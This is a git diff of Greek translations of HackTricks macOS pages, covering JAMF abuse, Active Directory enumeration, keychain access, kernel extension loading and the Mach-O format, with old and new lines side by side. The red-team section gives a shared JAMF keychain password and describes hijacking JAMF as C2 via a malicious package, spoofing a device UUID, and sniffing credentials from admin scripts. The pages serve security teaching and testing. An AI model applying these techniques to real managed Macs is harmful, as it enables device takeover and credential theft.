Το δυαδικό **`jamf`** περιείχε το μυστικό για να ανοίξει το keychain που την στιγμή της ανακάλυψης ήταν **κοινόχρηστο** από όλους και ήταν: **`jk23ucnq91jfu9aj`**.\
Το **`jamf`** δυαδικό αρχείο περιείχε το μυστικό για να ανοίξει το keychain το οποίο την ώρα της ανακάλυψης ήταν **κοινόχρηστο** ανάμεσα σε όλους και ήταν: **`jk23ucnq91jfu9aj`**.\
Επιπλέον, το jamf **διατηρείται** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Πάροχος συσκευής JAMF
#### Πάρτε τον Έλεγχο της Συσκευής JAMF
Η **URL**
Η **URL** του **JSS** (Jamf Software Server) που θα χρησιμοποιήσει το **`jamf`** βρίσκεται στο **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Αυτό το αρχείο περιέχει βασικά τη διεύθυνση URL:
{% code overflow="wrap" %}
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@ -77,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Έτσι, ένας επιτιθέμενος θα μπορούσε να εγκαταστήσει ένα κακόβουλο πακέτο (`pkg`) που **αντικαθιστά αυτό το αρχείο** κατά την εγκατάσταση, ορίζοντας το **URL σε ένα Mythic C2 listener από έναν πράκτορα Typhon** για να μπορεί να καταχραστεί το JAMF ως C2.
Έτσι, ένας εισβολέας θα μπορούσε να αφήσει ένα κακόβουλο πακέτο (`pkg`) που **αντικαθιστά αυτό το αρχείο** κατά την εγκατάσταση, ορίζοντας το **URL σε ένα Mythic C2 listener από έναν πράκτορα Typhon** για να μπορεί τώρα να καταχραστεί το JAMF ως C2.
{% code overflow="wrap" %}
```bash
@ -88,28 +91,28 @@ sudo jamf policy -id 0
```
{% endcode %}
#### Παραπληροφόρηση JAMF
#### Παραποίηση JAMF
Για να **παραπλανήσετε την επικοινωνία** μεταξύ μιας συσκευής και του JMF, χρειάζεστε:
Για να **παραστήσετε την επικοινωνία** μεταξύ ενός συστήματος και του JMF χρειάζεστε:
* Το **UUID** της συσκευής: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Το **JAMF keychain** από: `/Library/Application\ Support/Jamf/JAMF.keychain` που περιέχει το πιστοποιητικό της συσκευής
Με αυτές τις πληροφορίες, **δημιουργήστε ένα VM** με το **κλεμμένο** Hardware **UUID** και με το **SIP απενεργοποιημένο**, αποθηκεύστε το **JAMF keychain**, **συνδέστε** τον πράκτορα του Jamf και κλέψτε τις πληροφορίες του.
Με αυτές τις πληροφορίες, **δημιουργήστε ένα VM** με το **κλεμμένο** Hardware **UUID** και με το **SIP απενεργοποιημένο**, αφήστε το **JAMF keychain,** **συνδέστε** το Jamf **agent** και κλέψτε τις πληροφορίες του.
#### Κλοπή μυστικών
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
Μπορείτε επίσης να παρακολουθείτε την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **προσαρμοσμένα scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω του Jamf καθώς αυτά τοποθετούνται εδώ, εκτελούνται και αφαιρούνται. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Μπορείτε επίσης να παρακολουθείτε την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **προσαρμοσμένα scripts** που οι διαχειριστές ενδέχεται να θέλουν να εκτελέσουν μέσω του Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περνούν μέσω αυτών των scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθείτε την εντολή `ps aux | grep -i jamf` (χωρίς να είστε root).
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περνούν μέσω αυτών των scripts ως **παράμετροι**, οπότε θα πρέπει να παρακολουθείτε την εντολή `ps aux | grep -i jamf` (χωρίς να είστε root).
Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέες παραμέτρους διεργασιών.
### Απομακρυσμένη πρόσβαση στο macOS
Και επίσης για τα **ειδικά** **δίκτυα** **πρωτόκολλα** του **MacOS**:
Και επίσης για τα "ειδικά" **δίκτυα** **πρωτόκολλα** του **MacOS**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -117,7 +120,7 @@ sudo jamf policy -id 0
## Active Directory
Σε ορισμένες περιπτώσεις θα διαπιστώσετε ότι ο υπολογιστής **MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσετε να **απαριθμήσετε** τον ενεργό κατάλογο όπως είστε συνηθισμένοι. Βρείτε κάποια **βοήθεια** στις παρακάτω σελίδες:
Σε ορισμένες περιπτώσεις θα διαπιστώσετε ότι ο **υπολογιστής MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσετε να **απαριθμήσετε** τον ενεργό κατάλογο όπως είστε συνηθισμένοι. Βρείτε κάποια **βοήθεια** στις παρακάτω σελίδες:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -131,36 +134,34 @@ sudo jamf policy -id 0
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
Ένα εργαλείο **τοπικού MacOS** που μπορεί να σας βοηθήσει είναι το `dscl`:
Ένα **τοπικό εργαλείο MacOS** που μπορεί να σας βοηθήσει είναι το `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Επίσης, υπάρχουν μερικά εργαλεία που έχουν προετοιμαστεί για το MacOS για αυτόματη απαρίθμηση του AD και παιχνίδι με το Kerberos:
Επίσης υπάρχουν μερικά εργαλεία που έχουν προετοιμαστεί για το MacOS για αυτόματη απαρίθμηση του AD και παιχνίδι με το kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε υπολογιστές MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C που σχεδιάστηκε για να αλληλεπιδρά με τις διεπαφές Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερο έλεγχο ασφαλείας γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας τις ενσωματωμένες διεπαφές χωρίς να απαιτείται οποιοδήποτε άλλο πλαίσιο ή πακέτο στον στόχο.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript για την Αυτοματοποίηση (JXA) για απαρίθμηση του Active Directory.
### Πληροφορίες τομέα
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερο έλεγχο ασφαλείας γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας τα native APIs χωρίς την ανάγκη άλλου πλαισίου ή πακέτων στον στόχο.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript για την Αυτοματοποίηση (JXA) για απαρίθμηση του Active Directory.
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Χρήστες
Οι τρεις τύποι χρηστών του MacOS είναι:
Οι τρεις τύποι χρηστών MacOS είναι:
* **Τοπικοί Χρήστες** - Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory και δεν συνδέονται με το Active Directory.
* **Δικτυακοί Χρήστες** - Προσωρινοί χρήστες του Active Directory που απαιτούν σύνδεση στον διακομιστή DC για την πιστοποίησή τους.
* **Κινητοί Χρήστες** - Χρήστες του Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήριά τους και τα αρχεία τους.
* **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο στο Active Directory.
* **Δίκτυο Χρήστες** — Ευάλωτοι χρήστες του Active Directory που απαιτούν σύνδεση στον εξυπηρετητή DC για πιστοποίηση.
* **Κινητοί Χρήστες** Χρήστες του Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήριά τους και τα αρχεία τους.
Οι τοπικές πληροφορίες για τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
Για παράδειγμα, οι πληροφορίες για τον χρήστη με το όνομα _mark_ αποθηκεύονται στο _/var/db/dslocal/nodes/Default/users/mark.plist_ και οι πληροφορίες για την ομάδα _admin_ βρίσκονται στο _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Εκτός από τη χρήση των ακμών HasSession και AdminTo, το **MacHound προσθέτει τρεις νέες ακμές** στη βάση δεδομένων Bloodhound:
* **CanSSH** - οντότητα που επιτρέπεται να συνδεθεί με SSH στον υπολογιστή
* **CanVNC** - οντότητα που επιτρέπεται να συνδεθεί με VNC στον υπολογιστή
* **CanAE** - οντότητα που επιτρέπεται να εκτελέσει AppleEvent scripts στον υπολογιστή
* **CanSSH** - οντότητα που επιτρέπεται να συνδεθεί μέσω SSH στον υπολογιστή
* **CanVNC** - οντότητα που επιτρέπεται να συνδεθεί μέσω VNC στον υπολογιστή
* **CanAE** - οντότητα που επιτρέπεται να εκτελέσει σενάρια AppleEvent στον υπολογιστή
```bash
#User enumeration
dscl . ls /Users
@ -186,7 +187,7 @@ dsconfigad -show
## Πρόσβαση στο Keychain
Το Keychain περιέχει πιθανώς ευαίσθητες πληροφορίες που, αν αποκτηθούν χωρίς να προκαλέσουν ειδοποίηση, μπορούν να βοηθήσουν στην προώθηση μιας άσκησης κόκκινης ομάδας:
Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που, αν προσπελαστούν χωρίς να προκαλέσουν ειδοποίηση, μπορούν να βοηθήσουν στην προώθηση μιας άσκησης Red Team:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -194,13 +195,13 @@ dsconfigad -show
## Εξωτερικές Υπηρεσίες
Η κόκκινη ομάδα MacOS διαφέρει από μια κανονική κόκκινη ομάδα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με αρκετές εξωτερικές πλατφόρμες απευθείας**. Μια συνηθισμένη διαμόρφωση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συγχρονισμένα διαπιστευτήρια OneLogin και πρόσβαση σε διάφορες εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin.
Το MacOS Red Teaming διαφέρει από ένα κανονικό Windows Red Teaming καθώς συνήθως **το MacOS είναι ενσωματωμένο με διάφορες εξωτερικές πλατφόρμες απευθείας**. Μια συνηθισμένη ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συγχρονισμένα διαπιστευτήρια OneLogin και πρόσβαση σε διάφορες εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin.
## Διάφορες τεχνικές κόκκινης ομάδας
## Διάφορες Τεχνικές Red Team
### Safari
Όταν ένα αρχείο λήψης στο Safari είναι ένα "ασφαλές" αρχείο, θα ανοίξει **αυτόματα**. Έτσι, για παράδειγμα, αν κατεβάσετε ένα zip, θα αποσυμπιεστεί αυτόματα:
Όταν ένα αρχείο κατεβάζεται στο Safari, αν είναι ένα "ασφαλές" αρχείο, θα **ανοίγεται αυτόματα**. Έτσι, για παράδειγμα, αν **κατεβάσετε ένα zip**, θα αποσυμπιέζεται αυτόματα:
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
@ -211,17 +212,3 @@ dsconfigad -show
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,41 +1,62 @@
# Επεκτάσεις πυρήνα macOS
# macOS Επεκτάσεις Πυρήνα
<details>
<summary><strong>Μάθε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε AWS χάκινγκ από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΥΝΔΡΟΜΗΣ ΣΧΕΔΙΑ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), την αποκλειστική μας συλλογή [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο swag του PEASS και του HackTricks**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord** ή στην [**ομάδα Telegram**](https://t.me/peass) ή **ακολουθήστε με** στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord** ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Μοιραστείτε τα χάκινγκ κόλπα σας στέλνοντας PR στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Βασικές πληροφορίες
## Βασικές Πληροφορίες
Οι επεκτάσεις πυρήνα (Kexts) είναι **πακέτα** με **επέκταση `.kext`** που φορτώνονται απευθείας στον πυρήνα του macOS, παρέχοντας επιπλέον λειτουργικότητα στο κύριο λειτουργικό σύστημα.
Οι επεκτάσεις πυρήνα (Kexts) είναι **πακέτα** με **επέκταση `.kext`** που φορτώνονται απευθείας στον χώρο πυρήνα του macOS, παρέχοντας επιπλέον λειτουργικότητα στον κύριο λειτουργικό σύστημα.
### Απαιτήσεις
Φυσικά, αυτό είναι τόσο ισχυρό που είναι **δύσκολο να φορτωθεί μια επέκταση πυρήνα**. Αυτές είναι οι **απαιτήσεις** που πρέπει να πληροί μια επέκταση πυρήνα για να φορτωθεί:
Φυσικά, αυτό είναι τόσο ισχυρό που είναι **περίπλοκο να φορτωθεί μια επέκταση πυρήνα**. Αυτές είναι οι **απαιτήσεις** που πρέπει να πληροί μια επέκταση πυρήνα για να φορτωθεί:
* Όταν **εισέρχεστε σε λειτουργία ανάκτησης**, οι **επεκτάσεις πυρήνα πρέπει να επιτρέπεται να φορτωθούν**:
* Κατά την **είσοδο σε λειτουργία ανάκαμψης**, οι επεκτάσεις πυρήνα πρέπει να επιτρέπεται να φορτωθούν:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Η επέκταση πυρήνα πρέπει να **υπογραφεί με ένα πιστοποιητικό υπογραφής κώδικα πυρήνα**, το οποίο μπορεί να χορηγηθεί μόνο από την Apple. Η Apple θα ελέγξει λεπτομερώς την εταιρεία και τους λόγους για τους οποίους απαιτείται.
* Η επέκταση πυρήνα πρέπει επίσης να **έχει υποβληθεί σε έλεγχο από την Apple**, για την ανίχνευση κακόβουλου λογισμικού.
* Στη συνέχεια, ο **root** χρήστης είναι αυτός που μπορεί να **φορτώσει την επέκταση πυρήνα** και τα αρχεία μέσα στο πακέτο πρέπει να **ανήκουν στον root**.
* Κατά τη διαδικασία φόρτωσης, το πακέτο πρέπει να προετοιμαστεί σε μια **προστατευμένη μη-ριζική τοποθεσία**: `/Library/StagedExtensions` (απαιτεί την άδεια `com.apple.rootless.storage.KernelExtensionManagement`).
* Τέλος, κατά την προσπάθεια φόρτωσής της, ο χρήστης θα [**λάβει ένα αίτημα επιβεβαίωσης**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) και, αν γίνει αποδεκτό, ο υπολογιστής πρέπει να **επανεκκινηθεί** για να τη φορτώσει.
* Η επέκταση πυρήνα πρέπει να είναι **υπογεγραμμένη με πιστοποιητικό υπογραφής κώδικα πυρήνα**, το οποίο μπορεί να χορηγηθεί μόνο από την Apple. Ποιος θα εξετάσει λεπτομερώς την εταιρεία και τους λόγους για τους οποίους απαιτείται.
* Η επέκταση πυρήνα πρέπει επίσης να είναι **επικυρωμένη**, ώστε η Apple να μπορεί να την ελέγξει για κακόβουλο λογισμικό.
* Στη συνέχεια, ο **χρήστης root** είναι αυτός που μπορεί να **φορτώσει την επέκταση πυρήνα** και τα αρχεία μέσα στο πακέτο πρέπει να **ανήκουν στο root**.
* Κατά τη διαδικασία φόρτωσης, το πακέτο πρέπει να προετοιμαστεί σε μια **προστατευμένη μη-ριζική τοποθεσία**: `/Library/StagedExtensions` (απαιτεί τη χορήγηση `com.apple.rootless.storage.KernelExtensionManagement`).
* Τέλος, κατά την προσπάθεια φόρτωσής της, ο χρήστης θα [**λάβει αίτημα επιβεβαίωσης**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) και, εάν γίνει αποδεκτό, ο υπολογιστής πρέπει να **επανεκκινηθεί** για να τη φορτώσει.
### Διαδικασία φόρτωσης
### Διαδικασία Φόρτωσης
Στο Catalina ήταν ως εξής: Είναι ενδιαφέρον να σημειωθεί ότι η διαδικασία **επαλήθευσης** λαμβάνει χώρα στο **userland**. Ωστόσο, μόνο εφαρμογές με την άδεια **`com.apple.private.security.kext-management`** μπορούν να **ζητήσουν από τον πυρήνα να φορτώσει μια επέκταση**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
Στο Catalina ήταν ως εξής: Είναι ενδιαφέρον να σημειωθεί ότι η διαδικασία **επαλήθευσης** συμβαίνει στο **userland**. Ωστόσο, μόνο εφαρμογές με τη χορήγηση **`com.apple.private.security.kext-management`** μπορούν να **ζητήσουν από τον πυρήνα να φορτώσει μια επέκταση**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. Η εντολή **`kextutil`** ξεκινά τη διαδικασία **επαλήθευσης** για τη φόρτωση μιας επέκτασης
* Θα επικοινωνήσει με τον **`kextd`** αποστέλλοντας ένα **Mach service**.
2. Ο **`kextd`** θα ελέγξει διάφορα πράγματα, όπως η **υπογραφή**
* Θα επικοινωνήσει με τον **`syspolicyd`** για να **ελέγξει** αν μπορεί να φορτωθεί η επέκταση.
3. Ο **`syspolicyd`** θα **ζητήσει** από τον **χρήστη** επιβεβαίωση αν η επέκταση δεν έχει φορτωθεί π
1. Το **`kextutil`** cli **ξεκινά** τη διαδικασία **επαλήθευσης** για τη φόρτωση μιας επέκτασης
* Θα επικοινωνήσει με το **`kextd`** στέλνοντας χρησιμοποιώντας ένα **Mach service**.
2. Το **`kextd`** θα ελέγξει διάφορα πράγματα, όπως η **υπογραφή**
* Θα επικοινωνήσει με το **`syspolicyd`** για να **ελέγξει** αν η επέκταση μπορεί να **φορτωθεί**.
3. Το **`syspolicyd`** θα **ζητήσει** το **αίτημα επιβεβαίωσης** από τον **χρήστη** αν η επέκταση δεν έχει φορτωθεί προηγουμένως.
* Το **`syspolicyd`** θα αναφέρει το αποτέλεσμα στο **`kextd`**
4. Το **`kextd`** θα μπορεί εν τέλει να **πει στον πυρήνα να φορτώσει** την επέκταση
Αν το **`kextd`** δεν είναι διαθέσιμο, το **`kextutil`** μπορεί να πραγματοποιήσει τις ίδιες ελέγχους.
## Αναφορές
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
<details>
<summary><strong>Μάθετε AWS χάκινγκ από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΥΝΔΡΟΜΗΣ ΣΧΕΔΙΑ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), την αποκλειστική μας συλλογή [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο swag του PEASS και του HackTricks**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord** ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Μοιραστείτε τα χάκινγκ κόλπα σας στέλνοντας PR στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,90 +1,90 @@
# macOS Πανεπιστημιακά αρχεία και Μορφή Mach-O
# macOS Πανεπιστημιακά δυαδικά & Μορφή Mach-O
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Βασικές πληροφορίες
## Βασικές Πληροφορίες
Τα δυαδικά αρχεία του Mac OS συνήθως μεταγλωττίζονται ως **πανεπιστημιακά αρχεία**. Ένα **πανεπιστημιακό αρχείο** μπορεί να **υποστηρίζει πολλές αρχιτεκτονικές στο ίδιο αρχείο**.
Τα δυαδικά του Mac OS συνήθως μεταγλωττίζονται ως **πανεπιστημιακά δυαδικά**. Ένα **πανεπιστημιακό δυαδικό** μπορεί να **υποστηρίζει πολλές αρχιτεκτονικές στον ίδιο φάκελο**.
Αυτά τα δυαδικά ακολουθούν τη **δομή Mach-O** που αποτελείται βασικά από:
Αυτά τα δυαδικά ακολουθούν τη **δομή Mach-O** η οποία αποτελείται βασικά από:
* Κεφαλίδα
* Φορτώσεις εντολών
* Εντολές Φόρτωσης
* Δεδομένα
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
## Παχύ Κεφαλίδα
Αναζητήστε το αρχείο με: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
Αναζήτηση για το αρχείο με: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
</strong>
struct fat_header {
<strong> uint32_t magic; /* FAT_MAGIC or FAT_MAGIC_64 */
</strong><strong> uint32_t nfat_arch; /* number of structs that follow */
</strong><strong> uint32_t nfat_arch; /* αριθμός των δομών που ακολουθούν */
</strong>};
struct fat_arch {
cpu_type_t cputype; /* cpu specifier (int) */
cpu_subtype_t cpusubtype; /* machine specifier (int) */
uint32_t offset; /* file offset to this object file */
uint32_t size; /* size of this object file */
uint32_t align; /* alignment as a power of 2 */
cpu_type_t cputype; /* καθοριστής επεξεργαστή (int) */
cpu_subtype_t cpusubtype; /* καθοριστής μηχανής (int) */
uint32_t offset; /* μετατόπιση αρχείου προς αυτό το αντικείμενο */
uint32_t size; /* μέγεθος αυτού του αρχείου αντικειμένου */
uint32_t align; /* ευθυγράμμιση ως δύναμη του 2 */
};
</code></pre>
Η κεφαλίδα έχει τα **μαγικά** bytes που ακολουθούνται από τον **αριθμό** των **αρχιτεκτονικών** που περιέχει το αρχείο (`nfat_arch`) και κάθε αρχιτεκτονική θα έχει μια δομή `fat_arch`.
Η κεφαλίδα έχει τα **μαγικά** bytes ακολουθούμενα από τον **αριθμό** των **αρχιτεκτονικών** που περιέχει το αρχείο (`nfat_arch`) και κάθε αρχιτεκτονική θα έχει μια δομή `fat_arch`.
Ελέγξτε το με:
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
